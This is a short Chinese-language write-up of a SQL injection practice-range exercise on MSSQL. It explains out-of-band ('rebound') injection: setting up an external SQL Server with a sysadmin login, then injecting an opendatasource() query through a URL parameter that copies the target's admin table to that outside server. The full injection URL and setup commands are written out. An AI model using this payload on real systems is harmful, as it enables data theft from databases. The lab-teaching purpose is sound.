SQL注入靶场—MSSQL 反弹注入

用 id=2′ 进行测试,发现报错,显示 odbc_exec() :xxxx 的错误,说明用的是MSSQL数据库:

《SQL注入靶场—MSSQL 反弹注入》 image.png

这里确实是存在注入点的,但用了几个测试语句都无法注入,也没有什么有价值的回显。所以这里就用上了反弹注入。

反弹注入就是利用SQL SERVER的opendatasource() 函数,来将查询结果发送到另一个外网服务器的SQL SERVER数据库中。

首先在自己用来接收查询结果的外网服务器中,搭建好SQL SERVER数据库的环境,然后建立一个具有管理权限的数据库账户:

exec master.dbo.sp_addlogin h4ck,h4ck;
exec master.dbo.sp_addsrvrolemember h4ck,sysadmin;

然后使用建立的SQL账户登录数据库,这里使用查询分析器进行连接。
用SQL语句建立一个数据库test:

create database test;

再在test数据库中建立lb_temp表:

《SQL注入靶场—MSSQL 反弹注入》 image.png

然后访问链接:

http://120.203.13.75:8150/MSSQL/?id=2'; insert into opendatasource('sqloledb','server=117.167.136.247,1433;uid=h4ck;pwd=h4ck;database=test').test.dbo.lb_temp select * from admin --

查看自己的数据库test中的lb_temp表,获取到了我们想要查询的数据:

《SQL注入靶场—MSSQL 反弹注入》 image.png

    原文作者:fa1c0n1
    原文地址: https://www.jianshu.com/p/754560bf85e0
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞